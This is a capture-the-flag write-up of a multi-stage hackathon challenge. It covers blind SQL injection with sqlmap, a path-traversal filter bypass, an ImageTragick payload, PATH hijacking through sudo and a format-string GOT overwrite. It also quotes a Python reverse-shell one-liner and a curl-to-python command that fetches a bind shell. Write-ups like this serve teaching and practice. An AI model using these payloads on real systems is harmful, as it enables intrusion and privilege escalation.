The Turin Cybersec Hackaton was organized by the guys at JeTOP, in collaboration with KPMG, Shielder and the PoliTO University.

TL;DR This is a big Wall-of-Text.
If you were stuck in a specific point Ctrl+F -> flagN where N is the flag you want. ;)

First Part: Log-in

We start by visiting the website

By inspecting the page source code we can read a comment saying:

1. remove that upload file as soon as possible
2. find out why time() does not display current timestamp in seconds

Let’s try visiting upload.php then.

Wow, flag1 popped in an error message! T_CTF{wh393_d_f4k_4m_1?}

There wasn’t many things other than that so we need to break through the login screen located at:

This was the usual (and ugly) login screen, featuring a fancy but suspect reset password form.

By fiddling around with the forms we understood the username and password forms where not injectable.
The reset password form instead behaved in a interesting way:
if you gave it a random username it complained about not knowing it,
but if you input something like:

randomuser' or '1'='1

It answered that it had successfully sent a reset password email. It meant it was vulnerable to SQL Injection.

With BURP we intercepted and stored the HTTP POST request sent to the reset_password.php script as request.txt, then we ran the following command:

sqlmap -r request.txt -p username --dbms=sqlite --drop-set-cookie --regexp=".*sent.*"

The last switch in the command was necessary because the SQLi was blind as the server didn’t return any error so the only way to understand if the injection worked was the “password reset link sent” text that appeared if the expression was evaluated correctly.

Note: Sqlmap will ask if you want to follow redirection. Press Y. After that will ask if you want to reinject into the redireted page. Press N.

The command ran as expected, so we re-ran it appending a -a switch at the end in order to dump the database. This is what came out:

| id | name  | password                                      | 
| 1  | admin | 6eea9b7ef19179a06954edd0f6c05ceb (qwertyuiop) |	
| 2  | flag  | T_CTF{414_U_U53_5QLM49?}	                     |

There was another flag! flag4!

Also our friend sqlmap was so kind to crack the admin hash for us.
The only problem was that if you tried to login with the admin credentials the portal wouldn’t let you in because you had to set the ?admin=nope parameter in the URL to something different from nope.

By visiting the following url:

and using the credentials admin:qwertyuiop you could access the portal and retrieve flag2: T_CTF{th3_c4k3_15_4_L13}.

Alternatively, there is a cookie called whoami set to 084e0343a0486ff05530df6c705c8bb4.
A quick search on google tell us that it’s the md5 of guest.

You can set the whoami cookie to md5('admin') to login ;)

Second Part: Getting a reverse shell

Once we logged in as admin, the admin page welcomed us with 3 links:

  • import_travel_photos.php, where you can import a file from URL
  • view_travel_photos.php, where you can view a file from it’s path
  • make_collage.php, where you can load .php template file :D

So we started by trying the import one.

If we pass an URL the website print the message:

Your photo has been saved correctly to /tmp/travel_photo_" . time() . ", congrats!" 

This is what the TODO was referring to!

We write-down the timestamp before the import request, import an URL and try to view it in the view page.
It works, sometimes, if you have the same time as the server.

Note: sudo ntpdate -s syncs your local time to the NIST one. ;)

Finally, we tested the behavior of make_collage, that was including php file.
We tried including ../admin.php but we got HACKING ATTEMPT in reply.

No time to play around. We dumped the source code using the view page.

flag3 was in a php variable inside the index.php file: T_CTF{c00k135_r_d311c10u5}.

We found out that when including the template file, make_collage.php was filtering the filename:

include("./templates/" . filter($_REQUEST['template']));

The filter function:

function filter($path){
  if (strpos($path,"/") != false) { die("HACKING ATTEMPT"); }
  $path = str_replace("../","",$path);
  $path = str_replace(urldecode("%00"),"",$path);
  return $path;

So, in this condition strpos($path,"/") != false php isn’t checking the type returned by strpos
strpos return false if the second argument isn’t found in the first one. Otherwise returns the position of the first occurrence.

If we place a / at the start, the position is 0 and 0 == false so we bypass that if.

str_replace(old, new, str) replace old with new in str.
Every nullbyte or ../ is removed, but… If str is something like ....//path, removing ../ will result in ../path. Bingo!

Using /....//....//....//..../+path we can load arbitrary files from the / folder.

Note: you can also use nullbyte as a replacer /..%00/..%00/..%00/..%00+path

Import a reverse shell from URL and load it with /tmp/travel_photo_*

You know me, I don’t like doing things manually so I wrote a python script to automate this.

Third Part: From UID1000 to UID0

$ whoami

We are in.
We took a look around and find out 2 folders in /opt:

  • imageconverter
  • copyrightreminder

Looking at the crontab:

*/5 * * * * level1 /opt/imageconverter/ 

The script runs every 5 minutes as level1.


for file in $(ls /var/www/html/uploads/)
	identify /var/www/html/uploads/$file &

It’s rather simple. For every file in the uploads folder, run identify (from ImageMagik tools) on that file.

At the first time we tried pwning the $file variable to execute multiple command by creating a file named ;program but this wasn’t working because ls was splitting spaces in file and also you can’t insert / in filenames (like ;nc -e /bin/bash -lvp 8080).

We returned to the identify command and noticed that imagemagik wasn’t updated since 2014. All the clues were pointing at ImageTragik.

Long story short this vulnerability allowed code execution through specially crafted images.
Knowing how the vulnerability worked we modified the following PoC:

push graphic-context
viewbox 0 0 640 480
fill 'url("|cat "/etc/passwd)'
pop graphic-context

We then substituted the cat "/etc/passwd with a common python reverse shell, put it into a exploit.mvg file and moved it to uploads. Kids, remember +x permission ;)
We then waited… and waited… and waited… (cronjobs exploits are always a pain in the a**)

w00t w00t, the reverse shell suddenly came up and “whoami” answered us with “level1”. Gg.

After escalating to level1 we added to the .ssh/authorized_keys a newly generated throw-away public key and logged in via ssh.
In /home/level1/secrets/flag we got flag5: T_CTF{y4_kn0w_kn0wn_sP100i7z_gG_br0}

Now we were in, with a decent ssh connection and a decent terminal.
We went through the usual routine of checking all the stuff that need to be checked in order to escalate privileges and a thing that immediately came to our eyes was the output of the following command:

sudo -l

which suggested we could run a file named add_copyright with the permission of user level2.
As usual we ran strings against that binary to see if we could find something interesting in it and the following strings came out:

Now we will add the copyright to the photo!
./copyrighter photo.jpg 2>/dev/null
Copyright failed!

Mmmmh. No absolute path? That’s great! We quickly made a directory inside /tmp named bin and copied /bin/sh in there, renaming it copyrighter. After that we created a script named photo.jpg with the following content:



Then we ran the following command sudo -u level2 /opt/copyrightreminder/add_copyright which executed the “copyrighter” (former sh) in our folder which in turn executed photo.jpg that gave me a shell as level2. Cool as a cucumber ;)

Note: sudoers was setting it’s secure path but didn’t excluded . neither ~/bin and ~/.local/bin. If you had permissions and a ./copyrighter file in your cwd this works flawless.

flag6: T_CTF{70_Ph0LL0W_73h_pa7h,_l00K_70_73h_mA573R,_Ph0ll0w_73H_MA573r,_wALK_W17h_73H_mA573R,_533_7Hr0u9H_73h_mA573r,_83C0M3_73h_ma573R,0r_jus7_3X3cU73_PHR0m_4N07H3R_P47H.}

Now that we are level2 we can ls into /home/level3/

-r-------- 1 level3 level3   60 Nov 14 13:52 config
-r-sr-x--- 1 level3 level2 7728 Nov 14 15:04 copyrighter

We can see that copyrighter that has setuid permission enabled and will be executed as level3

$ stat -c "%a %U" /home/level3/copyrighter 
4550 level3

We downloaded the binary file (via scp or sftp) and decompiled with IDA

You can “easily” see that the printf(&s) call in add_copyright function is a vulnerable format string.

Note: I actually never exploited a format string before so I needed a fast-course on that :D

Briefly, printf expect the format string as first parameter, like int: %d, string: %s.
For each format code, printf will check for the next allocation in the stack and will print that value instead.

This way we can read values from the memory.
Using %n you can write in the next allocation the number of bytes read in the format string until now.

Target: overwrite the exit(1) call at the end of add_copyright function with the address of read_config function so the latter will be executed and it will print the config file.

This 3 video from LiveOverflow will help you understand. 1 2 3

With objdump -d ./copyrighter we get the exit@plt GOT and read_config addresses

08048480 <exit@plt>:
 8048480:	ff 25 24 a0 04 08    	jmp    *0x804a024   <------------- exit
 8048486:	68 30 00 00 00       	push   $0x30
 804848b:	e9 80 ff ff ff       	jmp    8048410 <_init+0x28>
080485cb <read_config>:    <------------ read_config
 80485cb:	55                   	push   %ebp
 80485cc:	89 e5                	mov    %esp,%ebp

We need to overwrite 0x804a024 with 0x80485cb.

We wrote this python script that will create the exploit.

How many chars we need to write with %n ?


0x85cb - 32 = 34219  # lower nibble

0x10804 - 0x85cb = 33337  # higher nibble

Note: the leading one in the last difference is required since we read 0x85cb chars from the start and 0x804 is less then that (we can’t un-read chars :D). Anyway it will overflow so no problems.

We also wrote this python script that will automatically exploit the executable.

Finally python | ./copyrighter revealed flag7: T_CTF{u_PhUk'D_mY_574ck,_D0_J00_Ph33L_h4Ppy?_K0Z_U_5h0ulD!}


Final Scoreboard

Honorable mentions

$ cat .bash_history 
echo 'miachiave' > .ssh/authorized_keys      

replacing, not appending. This dropped other players keys

$ ps aux
www-data 32027  0.0  0.0   4508   700 ?        S    17:58   0:00 sh -c curl****/tmp/master/bind1111.png | python

bind shell on port 1111 publicly accessible

$ who
level2   pts/0        2017-11-21 12:48 (ip1)
level2   pts/2        2017-11-21 11:55 (ip2)
level2   pts/3        2017-11-21 11:19 (ip3)
level2   pts/4        2017-11-21 12:15 (ip1)
level2   pts/6        2017-11-21 13:29 (ip1)
level2   pts/8        2017-11-21 12:31 (ip1)

when 1 session isn’t enougth

$ cat shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("url",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);["/bin/sh","-i"])'

spawning a shell without & making php hangs and all the website unreachable

Hope you enjoyed this CTF